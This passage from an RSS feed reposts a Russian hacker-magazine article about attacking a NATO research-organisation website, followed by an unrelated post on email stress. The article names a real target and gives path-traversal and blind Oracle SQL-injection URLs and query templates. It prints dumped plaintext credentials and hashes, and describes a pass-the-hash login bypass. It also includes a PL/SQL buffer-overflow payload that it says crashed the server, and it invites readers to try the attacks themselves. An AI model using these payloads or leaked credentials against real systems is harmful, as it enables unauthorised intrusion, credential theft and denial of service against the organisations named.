---------------------------------------------------------------------------<br />
+ 1 host(s) tested</p>
<p>Test Options: -Cgidirs all -vhost www.rto.nato.int -host www.rto.nato.int  www.rto.nato.int</code></p>
<p style="text-align:justify;">Выиграл все-таки администратор сайта (еще бы, он точно знает про сайт больше, чем nikto <img src='http://s2.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> ), выразим ему благодарность за отличный справочник по скрытым страницам. Так, например, запись webmail.asp дает нам доступ к внутренней почтовой системе, а запись Detail.asp без всяких сканеров подсказывает нам проверить уязвимости ввода в соответствующем сценарии веб-сервера.</p>
<p style="text-align:justify;">Параллельно ползая по сайту и проверяя все &laquo;disallow&raquo; записи в robots.txt, подключим webscarab. В его журналах после хождения по &laquo;сайтам&raquo; часто встречаются неожиданные &laquo;вкусности&raquo;, о которые можно почесать зубы sqlmap&#8217;у и w3af&#8217;у. Только заговорили об этом и тут же – хлоп, центральный скрипт, который принимает занимательный параметр &laquo;topics&raquo;. Очень интересным он оказывается, если подставить в качестве топика этот же самый скрипт:</p>
<p style="text-align:justify;">http://www.rto.nato.int/Main.asp?topic=Main.asp</p>
<p style="text-align:center;"><a title="Небезопасность НАТО: как НАТО борется с хакерами" href="http://arthurbabark.wordpress.com"><img class="aligncenter" style="border:0 initial initial;" title="Небезопасность НАТО: как НАТО борется с хакерами" src="http://www.xakep.ru/post/53176/mainasp.png" border="0" alt="" width="640" height="400" /></a></p>
<p style="text-align:justify;">При этом, если файл имеет расширение .ASP, то он интерпретируется (например, если мы подставим &laquo;Main.asp&raquo; в качестве параметра topic, то веб-сервер уйдет в бесконечный цикл, демонстрируя нам зазеркалье – бесконечные вложения Main.asp в самого себя, а если мы укажем только что найденный &laquo;pfp.ppt&raquo;, то получим его бинарное содержимое).</p>
<p style="text-align:justify;">Еще одна мелочь&#8230; в нашу свинскую копилку. Тебе, дорогой наш читатель, мы оставляем возможность попробовать комбинации следующего вида:</p>
<p style="text-align:justify;">http://www.rto.nato.int/Main.asp?topic=../../../../../../../../../../../etc/passwd</p>
<h2 style="text-align:justify;">Oracle всемогущий, Oracle непобедимый</h2>
<p style="text-align:justify;">Уже очень долго существует миф о том, что веб-приложения, построенные с бек-эндом в виде СУБД Oracle, неуязвимы к таким атакам как SQL-инъекции и XSS. Миф о невозможности инъекции в Oracle появился из-за функции базы данных использовать метку-заполнитель – при подготовке запроса оператор указывает места (именуя или нумеруя их), где будут впоследствии размещены входные данные SQL-запроса. Но на то он и миф, чтобы его кто-нибудь разрушил (правильное понимание причин появление уязвимости – вот залог возможности разрушения стереотипов). Проблемы с возможностью возникновения SQL-инъекции на самом деле заложены не столько в базе данных, сколько в программе-оболочке, которая реализует взаимодействие с пользователем. Для проверки достаточно ведь использовать несколько простых приемов. Например, добавлять к параметрам строку вида &laquo;+or+chr(77)=chr(77)&raquo;. Использование функции chr() позволяет избежать указания одинарных кавычек, которые нещадно фильтруются.</p>
<p style="text-align:justify;">Именно это является причиной возникновения возможности проведения &laquo;слепой&raquo; инъекции на сайте RTO. Вот, например, запрос с такой инъекцией:</p>
<p style="text-align:justify;">метод &laquo;научного тыка&raquo;:</p>
<p style="text-align:justify;">http://www.rto.nato.int/Detail.asp?ID=-1+or+chr(77)=chr(77)</p>
<p style="text-align:justify;">работаем с СУБД Oracle:</p>
<p style="text-align:justify;">http://www.rto.nato.int/Detail.asp?ID=-1+or+1=(SELECT+1+FROM+DUAL)</p>
<p style="text-align:justify;">Собственно, с помощью этой уязвимости мы и узнали, что сзади (backend) установлена СУБД Oracle, а не MySQL или SQLite (кстати, в ней тоже возможно провести SQL-инъекцию – журнал писал об этом в <a href="http://www.xakep.ru/magazine/xa/137/default.asp">майском номере</a>). Видимо, НАТОвские программисты слишком положились на безопасность Oracle и забыли элементарные правила безопасного секса. А зря! Одна только книжка про оракловский аудит от Ильи Медведовского и его сотрудников чего только стоит.</p>
<p style="text-align:justify;">Слепая инъекция, конечно, потребовала от нас некоторых усилий по автоматизации процесса. Благо, бабушкина<a href="http://www.xakep.ru/articles/magazine/archive.asp?magazine=xa&amp;year=2009">подшивка журнала Хакер за прошлый год</a> помогла – в ней оказалось все, что нужно для создания скриптов на Perl. Мы даже смогли быстро составить два запроса – один определяет длины строки, которую мы хотим &laquo;вытащить&raquo; из базы данных, а второй вытаскивает один символ из этой строки:</p>
<p style="text-align:justify;">а) запрос для получения длины строки:</p>
<p style="text-align:justify;">http://www.rto.nato.int/Detail.asp?ID=-1+OR+(select+length(table_name)+ from+user_tables+where+&#8217;%ЗДЕСЬ УСЛОВИЕ ЗАПРОСА%&#8217;+AND+rownum=1)=%ЗДЕСЬ ДЛИНА, КОТОРУЮ ПРОВЕРЯЕМ%</p>
<p style="text-align:justify;">б) запрос для получения строки (здесь конкретно – имени столбца в указанной таблице):</p>
<p style="text-align:justify;">http://www.rto.nato.int/Detail.asp?ID=-1+OR+(select+substr(column_name,%ЗДЕСЬ ПОЗИЦИЯ СИМВОЛА В ИМЕНИ СТОЛБЦА%,1)+from+all_tab_columns+where+table_name=&#8217;.%ЗДЕСЬ ИМЯ ТАБЛИЦЫ%.&#8217;+AND+&#8217;%ЗДЕСЬ УСЛОВИЕ ЗАПРОСА%&#8217;+AND+rownum=1)=chr(%НОМЕР СИМВОЛА%)</p>
<p style="text-align:justify;">Для того, чтобы получить только первую строку с данными из всего запроса, мы воспользовались ключевым словом rownum диалекта SQL-базы данных Oracle, с помощью которого можно определять условие над уже собранным набором строк с выходными данными. Использование всевозможных технологий ускорения &laquo;слепого&raquo; перебора оставляем для тренировки <img src='http://s2.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . Есть, правда, один очень большой минус – это количество таблиц (в том числе служебных) в базах Oracle. Вслепую вытаскивать всю схему таблиц – титанический труд, поэтому мы интересовались только таблицами, в названии которых есть магическое слово &laquo;PASSWORD&raquo;. На рисунке приведена схема c наиболее интересными таблицами и столбцами. На диске к журналу ты найдешь скрипты, которыми можно пополнить эту схему <img src='http://s2.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<p style="text-align:justify;">Среди довольно большого набора таблиц наиболее интересными кажутся вот эти:</p>
<p style="text-align:justify;"><code>RTO_MEMBERS.MEMBER_PASSWORD<br />
RTO_PANEL.PANEL_PASSWORD<br />
USER_DB_LINKS.PASSWORD<br />
CONTACTLOGIN.CLO_PASSWORD<br />
APPLICATIONLOGIN.PASSWORD<br />
CONTACT.CLO_PASSWORD</code></p>
<p style="text-align:justify;">Значения данных, которые в них хранятся, впечатляют не меньше, чем операция &laquo;Анаконда&raquo; коалиционных войск в Афганистане.</p>
<p style="text-align:justify;"><code>USERNAME: RTAMASTER<br />
PASSWORD: droopy<br />
DB_LINK: TEST.RTA.INT</p>
<p>USERNAME: WISE<br />
PASSWORD: BUGSBUNNY<br />
DB_LINK: WISE_LINK</code></p>
<p style="text-align:justify;">Впрочем, хранить пароли в открытом виде свойственно многим большим умам. Кроме того, нас больше интересуют пароли, которые можно использовать для входа в закрытую часть сайта. Используем древнегреческое знание о двоичном поиске и запустим наш скрипт слепого перебора:</p>
<p style="text-align:justify;"><code>DB Scanning table rto_panel<br />
..........[DBG: FOUND NUMBER 29.]<br />
DB NUMBER OF ROWS FOUND: 29<br />
Getting row 1<br />
DB getting panel_webname<br />
.......[DBG: FOUND NUMBER 1.]<br />
.........[DBG: FOUND SYMBOL ' ' - 32]<br />
DB<br />
DB getting panel_password<br />
.......[DBG: FOUND NUMBER 16.]<br />
........[DBG: FOUND SYMBOL 'х' - 245]<br />
........[DBG: FOUND SYMBOL 'ї' - 191]<br />
. . .<br />
.........[DBG: FOUND SYMBOL '$' - 36]<br />
.........[DBG: FOUND SYMBOL 'Ё' - 168]<br />
DB хїЙ)z &lt;Ж!Д*Аt¤$Ё<br />
DB 245|191|201|41|122|24|60|198|33|196|42|192|116|164|36|168|<br />
DB getting panel_number<br />
.......[DBG: FOUND NUMBER 7.]<br />
.........[DBG: FOUND SYMBOL 'R' - 82]<br />
. . .<br />
........[DBG: FOUND SYMBOL 'A' - 65]<br />
DB RTA-CSA<br />
DB getting panel_alias<br />
.......[DBG: FOUND NUMBER 7.]<br />
. . .<br />
........[DBG: FOUND SYMBOL 'A' - 65]<br />
DB RTA-CSA</code></p>
<p style="text-align:justify;">Важными столбцами из листинга для нас являются &laquo;panel_webname&raquo; и &laquo;panel_password&raquo;, последний хранит MD5 хэши паролей. Получаем все хэши и ставим их на брут. Как правило, на этом заканчиваются все стандартные взломы, но мы пойдем дальше.</p>
<h2 style="text-align:justify;">Проверка на дорогах</h2>
<p style="text-align:justify;">Доступ к закрытым зонам веб-сайта можно получить, если авторизоваться паролем любого участника или сотрудника RTO. Для аутентификации была использована технология &laquo;SINGLE SIGN-ON&raquo;, которая позволяет использовать любые другие пароли от аналогичных хранилищ информации:</p>
<p style="text-align:justify;"><code>Please authenticate to access website protected areas and the RTO  collaborative environment. Use your RTO collaborative environment credentials or  the RTO generic credentials to log on.</code></p>
<p style="text-align:justify;">Понятие &laquo;единого входа&raquo;, о котором талдычат НАТОвские программеры, изначально предполагает, что в разных местах пользователь может использовать один выданный ему логин/пароль. Здесь же это понятие сводится к тому, что в одном месте (на сайте) можно использовать пароли от нескольких других мест. Таким образом, общая безопасность находится на уровне самого слабого сайта, пароли от которого могут быть введены в RTO.NATO.INT.</p>
<p style="text-align:justify;">Раз уж пароли используют чуть ли не из мусорного бака, не стоит ли нам повнимательнее посмотреть, как они передаются на сервер? Тут начинается самое интересное. Оказывается, поля пользовательского ввода логина и пароля перед отправкой обрабатываются с помощью JavaScript-функции. Для того, чтобы это чудо инженерной мысли случилось, к основному HTML подключен файл md5.js, который представляет собой ничто иное как реализацию алгоритма MD5 компанией RSA Data Security (они, кстати, являются основными защитниками информации для НАТОвских ресурсов). В конце этого файла есть замечательная функция &laquo;pw2md5(in_pw, out_md5)&raquo;, которая и вызывается при отправке логина и пароля обратно на сайт:</p>
<p style="text-align:justify;"><code>&lt;form action="checkident.asp" method="post" name="frmlogon" onSubmit="return  sendData();"&gt;<br />
. . .<br />
. . .<br />
function sendData()<br />
{<br />
var FORM = document.frmlogon;</p>
<p>pw2md5(FORM.MemberMatkhau,FORM.MemberMatkhau);<br />
return true;<br />
} </code></p>
<p style="text-align:justify;">Теперь посмотрим на саму функцию pw2md5(). Она принимает на вход пароль в чистом виде, вычисляет MD5 от него, конвертирует полученное бинарное 16-байтовое значение в BASE64 представление и записывает в выходной параметр.</p>
<p style="text-align:justify;"><code>md5.js:<br />
/*<br />
* A JavaScript implementation of the RSA Data Security, Inc. MD5 Message<br />
* Digest Algorithm, as defined in RFC 1321.<br />
* Version 2.1 Copyright (C) Paul Johnston 1999 - 2002.<br />
* Other contributors: Greg Holt, Andrew Kepert, Ydnar, Lostinet<br />
* Distributed under the BSD License<br />
* See http://pajhome.org.uk/crypt/md5 for more info.<br />
*/<br />
. . .<br />
. . .<br />
/*<br />
* Util method added by minhnn<br />
*/<br />
function pw2md5(password, md5password) {<br />
md5password.value = b64_md5(password.value) + "==";<br />
// password.value = "";<br />
}</code></p>
<p style="text-align:justify;">Такой изумительный карточный расклад означает, что нам НЕ НУЖНО взламывать хэши MD5! Вместо этого мы можем просто подставить значение из базы данных прямо в форму отправки! Для этого воспользуемся онлайн-трансформером BASE64, предварительно сделав бинарный файл с байтами MD5 хэша одного из пользователей.</p>
<p style="text-align:justify;">Используя <a href="http://motobit.com/" target="_blank">motobit.com</a>, получаем следующие данные:</p>
<p style="text-align:justify;"><code>USERNAME: IST<br />
PASSWORD: AD2F38AEE7B3162D832624DA76983CD2<br />
BASE64: rS84ruezFi2DJiTadpg80g=</code>=</p>
<p style="text-align:justify;">Дальше нам очень пригодится веб-браузер Mozilla Firefox и его компонент TamperData, чтобы подставить налету в POST-запрос вместо обычных MD5 свои, честно подсмотренные в базе данных. Это довольно тривиальный процесс, посмотреть на примеры можно в документации на компонент TamperData&#8230; Подставляем, проверяем, давим кнопку &laquo;Послать&raquo;&#8230; и, как говорится в анекдоте, &laquo;детей не люблю, но&#8230; сам процесс!&raquo;. Итак, мы внутри!</p>
<p style="text-align:center;"><a title="Небезопасность НАТО: как НАТО борется с хакерами" href="http://arthurbabark.wordpress.com"><img class="aligncenter" style="border:0 initial initial;" title="Небезопасность НАТО: как НАТО борется с хакерами" src="http://www.xakep.ru/post/53176/natounlocked.png" border="0" alt="" width="640" height="587" /></a></p>
<h2 style="text-align:justify;">Солдат, выйти из строя!</h2>
<p style="text-align:justify;">Все бы ничего, если бы нас не жгла мысль о том, что слепой SQL – это ничто иное, как консоль к базе данных. Ведь с СУБД Oracle можно творить такое, что никакому SQLite и MySQL и не снилось (здесь мы улыбаемся и машем Александру Полякову, автору книги &laquo;Безопасность Oracle глазами аудитора&raquo;, а также iDefense Labs, – не знаю, кто был первый в обнаружении этой уязвимости). Наш уважаемый коллега описывает, как можно использовать доступ к процедуре XDB.XDB_PITRIG_PKG.PITRIG_DROPMETADATA, доступной на выполнение любому пользователю базы данных. Используя эту уязвимость в 10g можно вызвать переполнение буфера, и служба Oracle аварийно завершит свою работу. Так что, как только нам надоест баловаться с доступом к закрытым секциям сайта, мы делаем следующее:</p>
<p style="text-align:justify;"><code>declare<br />
a varchar2(32767);<br />
b varchar2(32767);<br />
begin<br />
a:='XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX';<br />
b:='YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY';<br />
a:=a||a; a:=a||a; a:=a||a; a:=a||a; a:=a||a; a:=a||a;<br />
b:=b||b; b:=b||b; b:=b||b; b:=b||b; b:=b||b; b:=b||b;<br />
XDB.XDB_PITRIG_PKG.PITRIG_DROPMETADATA(a, b);<br />
end;</code></p>
<p style="text-align:justify;">После того, как мы запишем этот вызов в одну длинную строку запроса и вставим на место нашей слепой инъекции, мы сможем увидеть вот такую картинку.</p>
<p style="text-align:center;"><a title="Небезопасность НАТО: как НАТО борется с хакерами" href="http://arthurbabark.wordpress.com"><img class="aligncenter" style="border:0 initial initial;" title="Небезопасность НАТО: как НАТО борется с хакерами" src="http://www.xakep.ru/post/53176/rtodown.png" border="0" alt="" width="640" height="143" /></a></p>
<h2 style="text-align:justify;">Конец света</h2>
<p style="text-align:justify;">Разговоры про <a href="http://live.xakep.ru/blog/technology/318.html">сетецентрические войны</a> и ведение информационной войны – это, конечно, хорошо. Однако опыт показывает, что просто разговоров мало – уж если мы анализируем сайты наших НАТОвских &laquo;союзников&raquo;, то и они, наверное, от нас не отстают. На этом фоне очень огорчает наличие аналогичных проблем с безопасностью на наших отечественных государственных сайтах. Вот, например, на сайте Федеральной службы технического и экспортного контроля (которая со следующего года будет защищать наши персональные данные), присутствуют все те же &laquo;мелкие&raquo; проблемы.</p>
<p style="text-align:center;"><a title="Небезопасность НАТО: как НАТО борется с хакерами" href="http://arthurbabark.wordpress.com"><img class="aligncenter" style="border:0 initial initial;" title="Небезопасность НАТО: как НАТО борется с хакерами" src="http://www.xakep.ru/post/53176/fstec.png" border="0" alt="" width="640" height="106" /></a></p>
<p style="text-align:justify;">Да чего уж, если порно-ролики на дорожных биллбордах Садового кольца хакеры крутят <img src='http://s2.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . Но, все-таки, хотя бы законодатели в области информационной безопасности должны относиться к своим ресурсам ответственно. Иначе на кого же мы будем равняться?</p>
<br />Filed under: <a href='http://arthurbabark.wordpress.com/category/%d0%b2%d0%b7%d0%bb%d0%be%d0%bc/'>ВЗЛОМ</a>  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/arthurbabark.wordpress.com/222/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/arthurbabark.wordpress.com/222/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/arthurbabark.wordpress.com/222/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/arthurbabark.wordpress.com/222/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/arthurbabark.wordpress.com/222/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/arthurbabark.wordpress.com/222/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/arthurbabark.wordpress.com/222/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/arthurbabark.wordpress.com/222/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/arthurbabark.wordpress.com/222/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/arthurbabark.wordpress.com/222/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/arthurbabark.wordpress.com/222/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/arthurbabark.wordpress.com/222/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/arthurbabark.wordpress.com/222/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/arthurbabark.wordpress.com/222/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=arthurbabark.wordpress.com&amp;blog=5119110&amp;post=222&amp;subd=arthurbabark&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://arthurbabark.wordpress.com/2010/09/16/%d0%bd%d0%b5%d0%b1%d0%b5%d0%b7%d0%be%d0%bf%d0%b0%d1%81%d0%bd%d0%be%d1%81%d1%82%d1%8c-%d0%bd%d0%b0%d1%82%d0%be-%d0%ba%d0%b0%d0%ba-%d0%bd%d0%b0%d1%82%d0%be-%d0%b1%d0%be%d1%80%d0%b5%d1%82%d1%81%d1%8f/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/4d5f0956c7f4132011a56321959fd142?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">webmaster</media:title>
		</media:content>

		<media:content url="http://www.xakep.ru/post/53176/rootpage.png" medium="image">
			<media:title type="html">Небезопасность НАТО: как НАТО борется с хакерами</media:title>
		</media:content>

		<media:content url="http://www.xakep.ru/post/53176/mainasp.png" medium="image">
			<media:title type="html">Небезопасность НАТО: как НАТО борется с хакерами</media:title>
		</media:content>

		<media:content url="http://www.xakep.ru/post/53176/natounlocked.png" medium="image">
			<media:title type="html">Небезопасность НАТО: как НАТО борется с хакерами</media:title>
		</media:content>

		<media:content url="http://www.xakep.ru/post/53176/rtodown.png" medium="image">
			<media:title type="html">Небезопасность НАТО: как НАТО борется с хакерами</media:title>
		</media:content>

		<media:content url="http://www.xakep.ru/post/53176/fstec.png" medium="image">
			<media:title type="html">Небезопасность НАТО: как НАТО борется с хакерами</media:title>
		</media:content>
	</item>
		<item>
		<title>Электронно-почтовая асфиксия</title>
		<link>http://arthurbabark.wordpress.com/2010/09/16/%d1%8d%d0%bb%d0%b5%d0%ba%d1%82%d1%80%d0%be%d0%bd%d0%bd%d0%be-%d0%bf%d0%be%d1%87%d1%82%d0%be%d0%b2%d0%b0%d1%8f-%d0%b0%d1%81%d1%84%d0%b8%d0%ba%d1%81%d0%b8%d1%8f/</link>
		<comments>http://arthurbabark.wordpress.com/2010/09/16/%d1%8d%d0%bb%d0%b5%d0%ba%d1%82%d1%80%d0%be%d0%bd%d0%bd%d0%be-%d0%bf%d0%be%d1%87%d1%82%d0%be%d0%b2%d0%b0%d1%8f-%d0%b0%d1%81%d1%84%d0%b8%d0%ba%d1%81%d0%b8%d1%8f/#comments</comments>
		<pubDate>Thu, 16 Sep 2010 10:00:08 +0000</pubDate>
		<dc:creator>webmaster</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://arthurbabark.wordpress.com/?p=220</guid>
		<description><![CDATA[Утомил нескончаемый поток SMS и писем? Новейшая идеология &#171;быть всегда на связи&#187; имеет свои недостатки, однако не стоит давать волю раздражению, помощь уже в пути&#8230; Для чувства мгновенной паники в момент всплывающего уведомления о получении нового почтового сообщения уже придумали научное название: электронно-почтовая асфиксия. Если верить Линде Стоун, бывшему психологу компании Microsoft, придумавшей этот термин, [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=arthurbabark.wordpress.com&amp;blog=5119110&amp;post=220&amp;subd=arthurbabark&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p style="text-align:justify;"><span style="color:#000000;">Утомил нескончаемый поток SMS и писем? Новейшая идеология &laquo;быть всегда на связи&raquo; имеет свои недостатки, однако не стоит давать волю раздражению, помощь уже в пути&#8230;</span></p>
<p style="text-align:justify;"><span style="color:#000000;">Для чувства мгновенной паники в момент всплывающего уведомления о получении нового почтового сообщения уже придумали научное название: электронно-почтовая асфиксия. Если верить Линде Стоун, бывшему психологу компании Microsoft, придумавшей этот термин, электронно-почтовая асфиксия проявляется в момент получения нового письма и связана с секундным нарушением дыхательного процесса. Человек находится в постоянном напряжении, ссутулившись перед экраном компьютера, не способный сконцентрироваться на других делах, пока не разберется с наплывом просмотренной электронной почты.</span></p>
<p style="text-align:justify;"><span style="color:#000000;">Стоун беспокоит еще одна проблема поколения, которое &laquo;всегда на связи&raquo;, – постоянное расслоение внимания. Симптомы расслоения внимания проявляются в момент методичного перебора телевизионных каналов или просмотра нескольких веб-страниц одновременно.</span></p>
<p style="text-align:justify;"><span style="color:#000000;">В определенной степени это способ эмоционального возбуждения для молодежи. Культура постоянной доступности, в конце концов, еще только зарождается. Сервисы Google едва вступили в пору отрочества, а Facebook – вовсе шестилетний малыш. Умные люди уже придумали несколько вариантов решения. Nokia Beta Labs выпустила приложение Nokia Bots. Программа призвана сгладить вечно рваный из-за постоянного притока электронной почты дневной график работы. По сути, речь идет о личном секретаре, который фильтрует поступающую вам информацию. &laquo;Ваше устройство научится предугадывать ваши желания и скрывать информацию, которая, по его мнению, вас не заинтересует&raquo;, – говорит Арии Турунен, один из разработчиков приложения Nokia Bots.<span id="more-220"></span></span></p>
<p style="text-align:justify;"><span style="color:#000000;">В итоге, вместо того, чтобы каждый день заводить будильник, Nokia Bots отслеживает ваш обычный распорядок дня (скажем, тот факт, что подъем у вас назначен за два часа до первой деловой встречи) и устанавливает будильник самостоятельно. А за десять минут до начала совещания автоматически переводит смартфон в режим &laquo;без звука&raquo;. Для некоторых подобные инновации окажутся чересчур серьезным шагом, а многие вовсе предпочтут полностью отключаться от цифрового мира на какое-то время. Забудьте о знаменитой фразе доктора Лири, ставшей девизом сторонников психотропных веществ: &laquo;Включись, настройся, отпади&raquo;. Новым лозунгом для разочаровавшихся в гаджетах техноборцев станет &laquo;Отключи и отключись&raquo;.</span></p>
<p style="text-align:justify;"><span style="color:#000000;">Писатель из Нью-Йорка Винифред Галлахер приложил немало усилий, лишь бы избавиться от электронно-почтовой асфиксии, перебравшись в лишенный даже признаков новейших технологий дом с работающей на дровах печкой.</span></p>
<p style="text-align:justify;"><span style="color:#000000;">&laquo;Когда в доме градусник показывает плюс 15, единственной заботой остается проблема согревания, – сказал Галлахер в интервью New York Times. – Концентрация на выживании лежит в основе философии дзен, способствующей очищению сознания&raquo;.</span></p>
<p style="text-align:justify;"><span style="color:#000000;">Но нам ближе подход к существованию в стиле технодзен, провозглашенный художником Нако Карбонеллом. В чем соль такого времяпрепровождения? &laquo;Сидеть в кустах, – ухмыльнулся он, – с полным игрушек ноутбуком&raquo;.</span></p>
<br />Filed under: <a href='http://arthurbabark.wordpress.com/category/uncategorized/'>Uncategorized</a>  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/arthurbabark.wordpress.com/220/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/arthurbabark.wordpress.com/220/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/arthurbabark.wordpress.com/220/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/arthurbabark.wordpress.com/220/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/arthurbabark.wordpress.com/220/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/arthurbabark.wordpress.com/220/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/arthurbabark.wordpress.com/220/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/arthurbabark.wordpress.com/220/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/arthurbabark.wordpress.com/220/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/arthurbabark.wordpress.com/220/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/arthurbabark.wordpress.com/220/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/arthurbabark.wordpress.com/220/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/arthurbabark.wordpress.com/220/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/arthurbabark.wordpress.com/220/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=arthurbabark.wordpress.com&amp;blog=5119110&amp;post=220&amp;subd=arthurbabark&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://arthurbabark.wordpress.com/2010/09/16/%d1%8d%d0%bb%d0%b5%d0%ba%d1%82%d1%80%d0%be%d0%bd%d0%bd%d0%be-%d0%bf%d0%be%d1%87%d1%82%d0%be%d0%b2%d0%b0%d1%8f-%d0%b0%d1%81%d1%84%d0%b8%d0%ba%d1%81%d0%b8%d1%8f/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/4d5f0956c7f4132011a56321959fd142?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">webmaster</media:title>
		</media:content>
	</item>
	</channel>
</rss>
